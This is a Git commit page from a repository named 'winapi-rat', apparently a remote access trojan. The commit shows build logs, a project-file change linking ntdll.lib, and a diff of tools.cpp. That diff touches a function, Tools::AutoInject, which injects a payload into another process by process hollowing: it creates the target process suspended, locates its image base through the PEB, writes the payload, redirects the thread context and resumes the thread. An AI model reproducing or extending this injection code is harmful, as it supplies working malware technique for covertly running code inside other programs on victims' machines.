hellisabove/winapi-rat
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

FunDLL now builds. Note for future self, this need the windows driver kit v7

Browse Source
This commit is contained in:
hellisabove
2023-07-04 02:59:35 +03:00
parent b021234380
commit 06c5764a6d
23 changed files with 18 additions and 11 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Dll/Debug/Dll.log
+7 -2
View File
@@ -1,5 +1,10 @@
C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Microsoft\VC\v150\Platforms\Win32\PlatformToolsets\v141_xp\Toolset.targets(39,5): warning MSB8051: Support for targeting Windows XP is deprecated and will not be present in future releases of Visual Studio. Please see https://go.microsoft.com/fwlink/?linkid=2023588 for more information.
C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Microsoft\VC\v150\Microsoft.CppBuild.targets(391,5): warning MSB8028: The intermediate directory (Debug\) contains files shared from another project (Dll.vcxproj). This can lead to incorrect clean and rebuild behavior.
fundll.cpp
tools.cpp
Creating library C:\Users\hellisabove\source\repos\RAT\Debug\FunDLL.lib and object C:\Users\hellisabove\source\repos\RAT\Debug\FunDLL.exp
tools.obj : error LNK2001: unresolved external symbol _NtQueryInformationProcess@20
C:\Users\hellisabove\source\repos\RAT\Debug\FunDLL.dll : fatal error LNK1120: 1 unresolved externals
Generating code
c:\users\hellisabove\source\repos\rat\dll\tools.cpp(162): warning C4715: 'Tools::AutoInject': not all control paths return a value
All 6 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
Finished generating code
Dll.vcxproj -> C:\Users\hellisabove\source\repos\RAT\Debug\FunDLL.dll
Dll/Debug/FunDLL.Build.CppClean.log
+1
View File
@@ -1,4 +1,5 @@
c:\users\hellisabove\source\repos\rat\dll\debug\vc141.pdb
c:\users\hellisabove\source\repos\rat\dll\debug\tools.obj
c:\users\hellisabove\source\repos\rat\dll\debug\fundll.obj
c:\users\hellisabove\source\repos\rat\debug\fundll.lib
c:\users\hellisabove\source\repos\rat\debug\fundll.exp
Dll/Debug/FunDLL.tlog/CL.command.1.tlog
BIN
View File
Binary file not shown.
Dll/Debug/FunDLL.tlog/CL.read.1.tlog
BIN
View File
Binary file not shown.
Dll/Debug/FunDLL.tlog/CL.write.1.tlog
BIN
View File
Binary file not shown.
Dll/Debug/FunDLL.tlog/FunDLL.write.1u.tlog
BIN
View File
Binary file not shown.
Dll/Debug/FunDLL.tlog/link.command.1.tlog
BIN
View File
Binary file not shown.
Dll/Debug/FunDLL.tlog/link.read.1.tlog
BIN
View File
Binary file not shown.
Dll/Debug/FunDLL.tlog/link.write.1.tlog
BIN
View File
Binary file not shown.
Dll/Debug/FunDLL.tlog/unsuccessfulbuild
View File
Dll/Debug/vc141.pdb
BIN
View File
Binary file not shown.
Dll/Dll.vcxproj
+1
View File
@@ -92,6 +92,7 @@
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>C:\WinDDK\7600.16385.1\lib\wxp\i386\ntdll.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
Dll/tools.cpp
+9 -9
View File
@@ -27,16 +27,16 @@ DWORD ConvertVirtualAddressToRawAddress(DWORD virtual_address, LPVOID file) {
int Tools::AutoInject(LPSTR target, LPCSTR payload) {
LPSTARTUPINFOA startup_info = new STARTUPINFOA();
LPPROCESS_INFORMATION process_info = new PROCESS_INFORMATION();
PROCESS_BASIC_INFORMATION *process_basic_info = new PROCESS_BASIC_INFORMATION();
LPPROCESS_INFORMATION process_information = new PROCESS_INFORMATION();
PROCESS_BASIC_INFORMATION *process_basic_information = new PROCESS_BASIC_INFORMATION();
BOOL process_created = CreateProcessA(NULL, target, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, startup_info, process_info);
BOOL process_created = CreateProcessA(NULL, target, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, startup_info, process_information);
if (process_created == TRUE) {
HANDLE target_process = process_info->hProcess;
HANDLE target_process = process_information->hProcess;
if (target_process != INVALID_HANDLE_VALUE) {
DWORD return_lenght = 0;
NtQueryInformationProcess(target_process, ProcessBasicInformation, process_basic_info, sizeof(PROCESS_BASIC_INFORMATION), &return_lenght);
DWORD image_base_offset = (DWORD)process_basic_info->PebBaseAddress + 8;
NtQueryInformationProcess(target_process, ProcessBasicInformation, process_basic_information, sizeof(PROCESS_BASIC_INFORMATION), &return_lenght);
DWORD image_base_offset = (DWORD)process_basic_information->PebBaseAddress + 8;
LPVOID destination_image_base = 0;
SIZE_T bytes_read = NULL;
@@ -122,7 +122,7 @@ int Tools::AutoInject(LPSTR target, LPCSTR payload) {
LPCONTEXT context = new CONTEXT();
context->ContextFlags = CONTEXT_INTEGER;
GetThreadContext(process_info->hThread, context);
GetThreadContext(process_information->hThread, context);
// machine code -> opcodes
// code for exec DllMain when injected
@@ -146,8 +146,8 @@ int Tools::AutoInject(LPSTR target, LPCSTR payload) {
if (success == TRUE) {
context->Eax = (DWORD)address_buffer;
SetThreadContext(process_info->hThread, context);
ResumeThread(process_info->hThread);
SetThreadContext(process_information->hThread, context);
ResumeThread(process_information->hThread);
}
return 0;
}